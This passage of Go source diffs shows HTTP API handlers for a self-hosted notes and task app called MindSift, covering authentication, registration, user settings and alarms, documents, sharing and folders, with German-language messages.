writeError(w, http.StatusBadRequest, "Ziel-E-Mail-Adresse erforderlich")
return
}
if err := s.sendEmailNotification(toEmail, "MindSift SMTP-Server Test", "Die SMTP-Konfiguration deiner MindSift-Instanz funktioniert einwandfrei!"); err != nil {
writeError(w, http.StatusBadGateway, "SMTP-Fehler: "+err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]interface{}{
"sent": true,
"toEmail": toEmail,
})
}
+573
View File
@@ -0,0 +1,573 @@
package api
import (
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"net/http"
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
"github.com/sandrodach/mindsift/internal/storage"
)
// --- HANDLERS ---
func (s *Server) handleHealth(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]interface{}{
"status": "ok",
"service": "mindsift",
"time": domain.NowISO(),
})
}
func (s *Server) handleAuthStatus(w http.ResponseWriter, r *http.Request) {
count, _ := s.store.CountUsers()
sys, _ := s.store.GetSystemSettings()
allowReg := false
instanceName := "MindSift"
if sys != nil {
allowReg = sys.AllowRegistration
if sys.InstanceName != "" {
instanceName = sys.InstanceName
}
}
status := map[string]interface{}{
"needsSetup": count == 0,
"allowRegistration": allowReg,
"instanceName": instanceName,
"demoMode": s.cfg.DemoMode,
"sharingMode": s.store.SharingMode(),
"passwordReset": s.passwordResetAvailable(),
// Public so the login screen can link Impressum and Datenschutz
"legal": map[string]interface{}{
"imprintUrl": s.cfg.Legal.ImprintURL,
"hasImprintContent": s.cfg.Legal.ImprintContent != "",
"privacyUrl": s.cfg.Legal.PrivacyURL,
"hasPrivacyContent": s.cfg.Legal.PrivacyContent != "",
},
}
// Countdown to the next demo reset; seconds as well, so client clocks do not matter
if next := s.demoNextReset(); !next.IsZero() {
status["demoNextReset"] = next.UTC().Format(time.RFC3339)
status["demoResetInSeconds"] = int(time.Until(next).Seconds())
status["demoResetMinutes"] = s.cfg.DemoResetMinutes
}
writeJSON(w, http.StatusOK, status)
}
// handleLegalText serves the configured Markdown of the imprint or privacy notice (public, no login).
func (s *Server) handleLegalText(w http.ResponseWriter, r *http.Request) {
content := ""
switch chi.URLParam(r, "type") {
case "imprint":
content = s.cfg.Legal.ImprintContent
case "privacy":
content = s.cfg.Legal.PrivacyContent
}
if content == "" {
writeError(w, http.StatusNotFound, "Kein Text hinterlegt")
return
}
writeJSON(w, http.StatusOK, map[string]string{"content": content})
}
func (s *Server) handleFirstBootSetup(w http.ResponseWriter, r *http.Request) {
count, err := s.store.CountUsers()
if err != nil || count > 0 {
writeError(w, http.StatusForbidden, "Ersteinrichtung wurde bereits abgeschlossen")
return
}
var req struct {
Email string `json:"email"`
Password string `json:"password"`
DisplayName string `json:"displayName"`
InstanceName string `json:"instanceName"`
AllowRegistration bool `json:"allowRegistration"`
SharingMode string `json:"sharingMode"`
CreateSampleData bool `json:"createSampleData"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
return
}
if strings.TrimSpace(req.Email) == "" {
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
return
}
if err := auth.ValidatePassword(req.Password); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if strings.TrimSpace(req.DisplayName) == "" {
req.DisplayName = "Administrator"
}
hash, err := auth.HashPassword(req.Password)
if err != nil {
writeError(w, http.StatusInternalServerError, "Fehler beim Passwort-Hashing")
return
}
user, err := s.store.CreateUser(req.Email, hash, req.DisplayName, "admin")
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
sys, _ := s.store.GetSystemSettings()
if sys != nil {
if strings.TrimSpace(req.InstanceName) != "" {
sys.InstanceName = strings.TrimSpace(req.InstanceName)
}
sys.AllowRegistration = req.AllowRegistration
sys.SharingMode = storage.NormalizeSharingMode(req.SharingMode)
if err := s.store.UpdateSystemSettings(sys); err != nil {
writeError(w, http.StatusInternalServerError, "Einstellungen konnten nicht gespeichert werden: "+err.Error())
return
}
// In organization mode the first admin starts in an organization named after the instance
if sys.SharingMode == storage.SharingOrganizations {
if org, err := s.store.CreateOrganization(sys.InstanceName); err == nil {
_ = s.store.SetUserOrganization(user.ID, org.ID)
user.OrganizationID = org.ID
}
}
}
if req.CreateSampleData {
_ = s.store.SeedStarterContent(user)
}
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
if err != nil {
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
return
}
writeJSON(w, http.StatusCreated, map[string]interface{}{
"token": token,
"user": user,
})
}
func (s *Server) handleRegister(w http.ResponseWriter, r *http.Request) {
var req struct {
Email string `json:"email"`
Password string `json:"password"`
DisplayName string `json:"displayName"`
InviteCode string `json:"inviteCode"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
return
}
if strings.TrimSpace(req.Email) == "" {
writeError(w, http.StatusBadRequest, "E-Mail-Adresse erforderlich")
return
}
if err := auth.ValidatePassword(req.Password); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if strings.TrimSpace(req.DisplayName) == "" {
req.DisplayName = strings.Split(req.Email, "@")[0]
}
count, _ := s.store.CountUsers()
role := "member"
var validInvite *domain.UserInvite
if strings.TrimSpace(req.InviteCode) != "" {
inv, err := s.store.GetUserInviteByCode(req.InviteCode)
if err != nil {
writeError(w, http.StatusForbidden, err.Error())
return
}
if inv.Email != "" && !strings.EqualFold(inv.Email, strings.TrimSpace(req.Email)) {
writeError(w, http.StatusForbidden, "Dieser Einladungscode ist an eine andere E-Mail-Adresse gebunden")
return
}
validInvite = inv
role = inv.Role
} else if count == 0 {
role = "admin"
} else {
sysSettings, _ := s.store.GetSystemSettings()
if sysSettings == nil || !sysSettings.AllowRegistration {
writeError(w, http.StatusForbidden, "Öffentliche Registrierung ist deaktiviert – bitte nutze einen Einladungscode vom Administrator")
return
}
}
hash, err := auth.HashPassword(req.Password)
if err != nil {
writeError(w, http.StatusInternalServerError, "Fehler beim Passwort-Hashing")
return
}
user, err := s.store.CreateUser(req.Email, hash, req.DisplayName, role)
if err != nil {
writeError(w, http.StatusConflict, "E-Mail-Adresse existiert bereits")
return
}
if validInvite != nil {
// Otherwise the code could be used again
if err := s.store.MarkUserInviteUsed(validInvite.ID, user.ID); err != nil {
slog.Error("Einladungscode konnte nicht als benutzt markiert werden", "invite", validInvite.ID, "error", err)
}
if validInvite.OrganizationID != "" {
_ = s.store.SetUserOrganization(user.ID, validInvite.OrganizationID)
user.OrganizationID = validInvite.OrganizationID
}
}
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
if err != nil {
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
return
}
writeJSON(w, http.StatusCreated, map[string]interface{}{
"token": token,
"user": user,
})
}
func (s *Server) handleLogin(w http.ResponseWriter, r *http.Request) {
var req struct {
Email string `json:"email"`
Username string `json:"username"`
Login string `json:"login"`
Password string `json:"password"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültige Anfrage")
return
}
identifier := strings.TrimSpace(req.Login)
if identifier == "" {
identifier = strings.TrimSpace(req.Username)
}
if identifier == "" {
identifier = strings.TrimSpace(req.Email)
}
if identifier == "" || req.Password == "" {
writeError(w, http.StatusBadRequest, "Benutzername/E-Mail und Passwort erforderlich")
return
}
user, err := s.store.GetUserByLogin(identifier)
// Unknown names are counted under the typed login, so locking looks the same as for real accounts
account := "login:" + strings.ToLower(identifier)
if err == nil {
account = user.ID
}
ip := clientIPFrom(r)
if wait := s.loginGuard.lockedFor(account, ip); wait > 0 {
slog.Warn("Login gesperrt nach Fehlversuchen", "login", identifier, "remote_addr", r.RemoteAddr, "wait", wait.Round(time.Second))
writeLoginLocked(w, wait)
return
}
if err != nil {
s.loginGuard.recordFailure(account, ip)
slog.Warn("Login fehlgeschlagen: Benutzer existiert nicht", "login", identifier, "remote_addr", r.RemoteAddr)
writeError(w, http.StatusUnauthorized, "Benutzername/E-Mail oder Passwort ungültig")
return
}
if !auth.CheckPassword(req.Password, user.PasswordHash) {
s.loginGuard.recordFailure(account, ip)
slog.Warn("Login fehlgeschlagen: Falsches Passwort", "login", identifier, "user_id", user.ID, "display_name", user.DisplayName, "remote_addr", r.RemoteAddr)
writeError(w, http.StatusUnauthorized, "Benutzername/E-Mail oder Passwort ungültig")
return
}
s.loginGuard.recordSuccess(account, ip)
if !user.IsActive {
slog.Warn("Login verweigert: Benutzerkonto ist deaktiviert", "login", identifier, "user_id", user.ID, "display_name", user.DisplayName, "remote_addr", r.RemoteAddr)
writeError(w, http.StatusForbidden, "Dieses Benutzerkonto ist deaktiviert")
return
}
token, err := auth.GenerateToken(s.cfg.JWTSecret, user.ID, user.Email, user.DisplayName, user.TokenVersion)
if err != nil {
slog.Error("Login-Token konnte nicht erstellt werden", "login", identifier, "user_id", user.ID, "error", err)
writeError(w, http.StatusInternalServerError, "Token konnte nicht erstellt werden")
return
}
slog.Info("Login erfolgreich", "login", identifier, "user_id", user.ID, "display_name", user.DisplayName, "role", user.Role, "remote_addr", r.RemoteAddr)
writeJSON(w, http.StatusOK, map[string]interface{}{
"token": token,
"user": user,
})
}
func (s *Server) handleQuickStart(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusForbidden, "Automatischer Gast-Login ist deaktiviert – bitte anmelden")
}
func (s *Server) handleMe(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
user, err := s.store.GetUserByID(userID)
if err != nil {
writeError(w, http.StatusNotFound, "Benutzer nicht gefunden")
return
}
stats, _ := s.store.GetDashboardStats(userID)
writeJSON(w, http.StatusOK, map[string]interface{}{
"user": user,
"stats": stats,
// The settings disable "Konto löschen" for the last administrator
"isLastAdmin": s.store.IsLastAdmin(userID),
})
}
func (s *Server) handleStats(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
stats, err := s.store.GetDashboardStats(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, stats)
}
// handlePurgeOwnData deletes all notes, tasks, thoughts and lists of the caller; the account stays.
func (s *Server) handlePurgeOwnData(w http.ResponseWriter, r *http.Request) {
user, ok := s.confirmPassword(w, r)
if !ok {
return
}
if err := s.store.PurgeUserData(user.ID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
slog.Info("Benutzer hat alle eigenen Daten gelöscht", "user_id", user.ID)
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// handleDeleteOwnAccount deletes the caller's account with all data; never the last administrator.
func (s *Server) handleDeleteOwnAccount(w http.ResponseWriter, r *http.Request) {
user, ok := s.confirmPassword(w, r)
if !ok {
return
}
if err := s.store.DeleteOwnAccount(user.ID); err != nil {
status := http.StatusInternalServerError
if errors.Is(err, storage.ErrLastAdmin) {
status = http.StatusForbidden
}
writeError(w, status, err.Error())
return
}
slog.Info("Benutzer hat sein Konto gelöscht", "user_id", user.ID)
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
// importUpload reads the multipart field "file" (max. storage.MaxImportUploadBytes).
func importUpload(w http.ResponseWriter, r *http.Request) ([]byte, string, error) {
r.Body = http.MaxBytesReader(w, r.Body, storage.MaxImportUploadBytes+1<<20)
file, header, err := r.FormFile("file")
if err != nil {
return nil, "", fmt.Errorf("Keine Datei erhalten oder Datei zu groß (max. 100 MB)")
}
defer file.Close()
data, err := io.ReadAll(io.LimitReader(file, storage.MaxImportUploadBytes+1))
if err != nil || len(data) > storage.MaxImportUploadBytes {
return nil, "", fmt.Errorf("Datei zu groß (max. 100 MB)")
}
return data, header.Filename, nil
}
// --- USER SETTINGS & ALARMS ---
func (s *Server) handleLogout(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
authHeader := r.Header.Get("Authorization")
if strings.HasPrefix(authHeader, "Bearer ") {
tokenStr := strings.TrimPrefix(authHeader, "Bearer ")
if claims, err := auth.ValidateToken(s.cfg.JWTSecret, tokenStr); err == nil && claims != nil {
var exp time.Time
if claims.ExpiresAt != nil {
exp = claims.ExpiresAt.Time
} else {
exp = time.Now().Add(30 * 24 * time.Hour)
}
// The session must really end; the client is told if it did not
if err := s.store.RevokeToken(tokenStr, userID, exp); err != nil {
writeError(w, http.StatusInternalServerError, "Abmelden fehlgeschlagen")
return
}
}
}
// Streams are not tied to one session; other devices reconnect with a new ticket on their own
s.wsHub.DisconnectUser(userID)
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
func (s *Server) handleRevokeAllSessions(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
if err := s.store.RevokeAllUserTokens(userID); err != nil {
writeError(w, http.StatusInternalServerError, "Sitzungen konnten nicht beendet werden")
return
}
s.wsHub.DisconnectUser(userID)
writeJSON(w, http.StatusOK, map[string]bool{"success": true})
}
func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
DisplayName *string `json:"displayName"`
Email *string `json:"email"`
Password *string `json:"password"`
AvatarURL *string `json:"avatarUrl"`
AlarmChannels *[]string `json:"alarmChannels"`
AlarmEmail *string `json:"alarmEmail"`
DiscordWebhookURL *string `json:"discordWebhookUrl"`
CustomWebhookURL *string `json:"customWebhookUrl"`
NotifyBeforeMinutes *int `json:"notifyBeforeMinutes"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
// Alarm URLs are checked before they are stored (SSRF protection, see netguard.go)
allowPrivate := s.allowPrivateWebhooks()
if req.DiscordWebhookURL != nil {
if err := validateWebhookURL(*req.DiscordWebhookURL, true, allowPrivate); err != nil {
writeError(w, http.StatusBadRequest, "Discord-Webhook: "+err.Error())
return
}
}
if req.CustomWebhookURL != nil {
if err := validateWebhookURL(*req.CustomWebhookURL, false, allowPrivate); err != nil {
writeError(w, http.StatusBadRequest, "Webhook-URL: "+err.Error())
return
}
}
if req.Password != nil && strings.TrimSpace(*req.Password) != "" {
if err := auth.ValidatePassword(*req.Password); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
hash, err := auth.HashPassword(*req.Password)
if err != nil {
writeError(w, http.StatusInternalServerError, "Fehler beim Hashen des Passworts")
return
}
if err := s.store.UpdateUserPassword(userID, hash); err != nil {
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
return
}
s.wsHub.DisconnectUser(userID)
}
u, err := s.store.UpdateUserFull(
userID,
req.DisplayName,
req.Email,
nil,
nil,
req.AlarmChannels,
req.AlarmEmail,
req.DiscordWebhookURL,
req.CustomWebhookURL,
req.NotifyBeforeMinutes,
req.AvatarURL,
)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, u)
}
func (s *Server) handleTestUserAlarm(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
user, err := s.store.GetUserByID(userID)
if err != nil || user == nil {
writeError(w, http.StatusNotFound, "Benutzer nicht gefunden")
return
}
var req struct {
Channel string `json:"channel"` // email | discord | webhook
Target string `json:"target"` // optional override URL or email
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
channel := strings.ToLower(strings.TrimSpace(req.Channel))
target := strings.TrimSpace(req.Target)
switch channel {
case "discord":
url := target
if url == "" {
url = user.DiscordWebhookURL
}
if url == "" {
writeError(w, http.StatusBadRequest, "Bitte eine Discord Webhook URL angeben")
return
}
if err := s.sendDiscordNotification(url, "Test-Alarm von MindSift", "Dein Discord-Alarmkanal funktioniert einwandfrei!", domain.NowISO()[:10], "normal"); err != nil {
writeError(w, http.StatusBadGateway, "Discord-Fehler: "+err.Error())
return
}
case "webhook":
url := target
if url == "" {
url = user.CustomWebhookURL
}
if url == "" {
writeError(w, http.StatusBadRequest, "Bitte eine Webhook-URL angeben")
return
}
if err := s.sendCustomWebhookNotification(url, "test_alarm", "Test-Alarm von MindSift", "Dein eigener Webhook empfängt MindSift-Alarme!", domain.NowISO()[:10], "normal"); err != nil {
writeError(w, http.StatusBadGateway, "Webhook-Fehler: "+err.Error())
return
}
case "email":
toEmail := target
if toEmail == "" {
toEmail = user.AlarmEmail
}
if toEmail == "" {
toEmail = user.Email
}
if err := s.sendEmailNotification(toEmail, "⏰ MindSift Test-Alarm", "Hallo "+user.DisplayName+",\n\ndein E-Mail-Alarmkanal in MindSift ist erfolgreich eingerichtet und einsatzbereit.\n\nViele Grüße\nDeine MindSift Instanz"); err != nil {
writeError(w, http.StatusBadGateway, "E-Mail-Versand fehlgeschlagen: "+err.Error())
return
}
default:
writeError(w, http.StatusBadRequest, "Unbekannter Alarm-Kanal (erlaubt: email, discord, webhook)")
return
}
writeJSON(w, http.StatusOK, map[string]interface{}{
"sent": true,
"channel": channel,
})
}
func (s *Server) handleGetUsersDirectory(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
users, err := s.store.GetDiscoverableUsers(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, users)
}
+315
View File
@@ -0,0 +1,315 @@
package api
import (
"encoding/json"
"errors"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
"github.com/sandrodach/mindsift/internal/domain"
"github.com/sandrodach/mindsift/internal/storage"
)
// --- DOCUMENTS ---
func (s *Server) broadcastDocToAuthorizedUsers(docID, event string) {
users, err := s.store.GetAuthorizedDocUsers(docID)
if err != nil {
return
}
var firstDoc *domain.Document
for _, uid := range users {
if userDoc, err := s.store.GetDocumentByID(uid, docID); err == nil && userDoc != nil {
if firstDoc == nil {
firstDoc = userDoc
}
s.wsHub.BroadcastToUser(uid, event, userDoc)
}
}
if s.wsHub != nil && firstDoc != nil {
s.wsHub.BroadcastRoom("doc:"+docID, event, firstDoc, nil)
}
}
func (s *Server) handleGetDocuments(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docs, err := s.store.GetDocuments(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, docs)
}
func (s *Server) handleCreateDocument(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
SpaceID string `json:"spaceId"`
Title string `json:"title"`
Icon string `json:"icon"`
FolderPath string `json:"folderPath"`
Blocks []domain.DocumentBlock `json:"blocks"`
Tags []string `json:"tags"`
IsPinned bool `json:"isPinned"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
doc, err := s.store.CreateDocument(userID, req.SpaceID, req.Title, req.Icon, req.FolderPath, req.Blocks, req.Tags, req.IsPinned)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.broadcastDocToAuthorizedUsers(doc.ID, "DOC_CREATED")
writeJSON(w, http.StatusCreated, doc)
}
func (s *Server) handleGetDocument(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
doc, err := s.store.GetDocumentByID(userID, docID)
if err != nil {
writeError(w, http.StatusNotFound, "Dokument nicht gefunden")
return
}
writeJSON(w, http.StatusOK, doc)
}
func (s *Server) handleGetBacklinks(w http.ResponseWriter, r *http.Request) {
links, err := s.store.GetBacklinks(auth.GetUserID(r.Context()), chi.URLParam(r, "id"))
if err != nil {
writeError(w, http.StatusNotFound, "Dokument nicht gefunden")
return
}
writeJSON(w, http.StatusOK, links)
}
func (s *Server) handleUpdateDocument(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
var req struct {
Title *string `json:"title"`
Icon *string `json:"icon"`
FolderPath *string `json:"folderPath"`
Blocks *[]domain.DocumentBlock `json:"blocks"`
IsPinned *bool `json:"isPinned"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if req.Blocks != nil {
writeError(w, http.StatusBadRequest, "Blöcke werden über POST /api/v1/docs/{id}/sync gespeichert")
return
}
doc, err := s.store.UpdateDocument(userID, docID, req.Title, req.Icon, req.FolderPath, req.IsPinned)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
if req.Title != nil {
_, head, _ := s.store.GetDocOpsSince(docID, 0, 0)
s.notifyDocChanged(docID, head)
}
if req.Title != nil || req.Icon != nil || req.FolderPath != nil {
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
}
writeJSON(w, http.StatusOK, doc)
}
func (s *Server) handleDeleteDocument(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
authorizedUsers, _ := s.store.GetAuthorizedDocUsers(docID)
if err := s.store.DeleteDocument(userID, docID); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
for _, uid := range authorizedUsers {
s.wsHub.BroadcastToUser(uid, "DOC_DELETED", map[string]string{"id": docID})
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleGetTrash(w http.ResponseWriter, r *http.Request) {
items, err := s.store.GetTrash(auth.GetUserID(r.Context()))
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, items)
}
func (s *Server) handleRestoreDocument(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
if err := s.store.RestoreDocument(userID, docID); err != nil {
writeTrashError(w, err)
return
}
// Everyone with access reloads their tree, so the note is back for shared users as well
authorized, _ := s.store.GetAuthorizedDocUsers(docID)
for _, uid := range append(authorized, userID) {
s.wsHub.BroadcastToUser(uid, "WORKSPACE_FOLDERS_UPDATED", map[string]string{"restored": docID})
}
writeJSON(w, http.StatusOK, map[string]bool{"restored": true})
}
func (s *Server) handlePurgeDocument(w http.ResponseWriter, r *http.Request) {
if err := s.store.PurgeDocument(auth.GetUserID(r.Context()), chi.URLParam(r, "id")); err != nil {
writeTrashError(w, err)
return
}
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleEmptyTrash(w http.ResponseWriter, r *http.Request) {
ids, err := s.store.EmptyTrash(auth.GetUserID(r.Context()))
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, map[string]int{"deleted": len(ids)})
}
func writeTrashError(w http.ResponseWriter, err error) {
if errors.Is(err, storage.ErrNotInTrash) {
writeError(w, http.StatusNotFound, err.Error())
return
}
writeError(w, http.StatusInternalServerError, err.Error())
}
func (s *Server) handleCreateEnhancedTask(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
blockID := chi.URLParam(r, "blockId")
var req struct {
Content string `json:"content"`
Checked bool `json:"checked"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
thought, err := s.store.CreateTaskFromDocBlock(userID, docID, blockID, req.Content, req.Checked)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
_, head, _ := s.store.GetDocOpsSince(docID, 0, 0)
s.notifyDocChanged(docID, head)
s.wsHub.BroadcastToUser(userID, "TASK_CREATED", thought)
writeJSON(w, http.StatusCreated, thought)
}
func (s *Server) handleMoveDocument(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
var req struct {
FolderPath string `json:"folderPath"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
doc, err := s.store.MoveDocument(userID, docID, req.FolderPath)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastDocEvent(docID, "DOC_UPDATED", doc)
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
docUsers, _ := s.store.GetAuthorizedDocUsers(docID)
s.wsHub.BroadcastToUsers(append(docUsers, userID), "WORKSPACE_FOLDERS_UPDATED", map[string]string{"docId": docID})
writeJSON(w, http.StatusOK, doc)
}
// --- DOCUMENT SHARING & COLLABORATION ---
func (s *Server) handleGetDocShares(w http.ResponseWriter, r *http.Request) {
docID := chi.URLParam(r, "id")
shares, err := s.store.GetDocShares(docID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, shares)
}
func (s *Server) handleCreateDocShare(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
var req struct {
UserID string `json:"userId"`
Email string `json:"email"`
TeamID string `json:"teamId"`
Permission string `json:"permission"` // read | write
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
if req.TeamID != "" {
share, err := s.store.CreateDocTeamShare(userID, docID, req.TeamID, req.Permission)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.broadcastDocToAuthorizedUsers(docID, "DOC_CREATED")
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
writeJSON(w, http.StatusCreated, share)
return
}
target := req.UserID
if target == "" {
target = req.Email
}
if target == "" {
writeError(w, http.StatusBadRequest, "Benutzer-ID, E-Mail oder Team erforderlich")
return
}
share, err := s.store.CreateDocShare(userID, docID, target, req.Permission)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.broadcastDocToAuthorizedUsers(docID, "DOC_CREATED")
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
writeJSON(w, http.StatusCreated, share)
}
func (s *Server) handleDeleteDocShare(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
docID := chi.URLParam(r, "id")
targetUserID := chi.URLParam(r, "userId")
if err := s.store.DeleteDocShare(userID, docID, targetUserID); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastToUser(targetUserID, "DOC_DELETED", map[string]string{"id": docID})
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
}
func (s *Server) handleGetCollaborators(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
users, err := s.store.GetCollaborators(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, users)
}
+295
View File
@@ -0,0 +1,295 @@
package api
import (
"encoding/json"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/sandrodach/mindsift/internal/auth"
)
// --- WORKSPACE FOLDERS ---
func (s *Server) handleGetFolders(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folders, err := s.store.GetFolders(userID)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, folders)
}
func (s *Server) handleCreateFolder(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
Path string `json:"path"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
cleanPath, err := s.store.CreateFolder(userID, req.Path)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
s.wsHub.BroadcastToUser(userID, "WORKSPACE_FOLDERS_UPDATED", map[string]string{"path": cleanPath})
writeJSON(w, http.StatusCreated, map[string]string{"path": cleanPath})
}
func (s *Server) handleDeleteFolder(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
folderPath := r.URL.Query().Get("path")
if folderPath == "" {
writeError(w, http.StatusBadRequest, "Pfad erforderlich")
return
}
deletedDocIDs, err := s.store.DeleteFolder(userID, folderPath)
if err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
for _, docID := range deletedDocIDs {
s.wsHub.BroadcastDocEvent(docID, "DOC_DELETED", map[string]string{"id": docID})
}
s.wsHub.BroadcastToUser(userID, "WORKSPACE_FOLDERS_UPDATED", map[string]string{"path": folderPath})
writeJSON(w, http.StatusOK, map[string]interface{}{
"deleted": true,
"deletedDocIds": deletedDocIDs,
})
}
func (s *Server) handleMoveFolder(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
var req struct {
SourcePath string `json:"sourcePath"`
TargetParentPath string `json:"targetParentPath"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeError(w, http.StatusBadRequest, "Ungültiges JSON")
return
}
newPath, movedDocIDs, err := s.store.MoveFolder(userID, req.SourcePath, req.TargetParentPath)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
for _, id := range movedDocIDs {
if doc, err := s.store.GetDocumentByID(userID, id); err == nil && doc != nil {
s.wsHub.BroadcastDocEvent(id, "DOC_UPDATED", doc)
s.broadcastDocToAuthorizedUsers(id, "DOC_UPDATED")
}
}
s.wsHub.BroadcastToUser(userID, "WORKSPACE_FOLDERS_UPDATED", map[string]string{
"sourcePath": req.SourcePath,
"newPath": newPath,
})
writeJSON(w, http.StatusOK, map[string]interface{}{
"newPath": newPath,
"movedDocIds": movedDocIDs,
})
}
// --- WORKSPACE SHARED FOLDERS ---
func (s *Server) handleGetSharedFolders(w http.ResponseWriter, r *http.Request) {
userID := auth.GetUserID(r.Context())
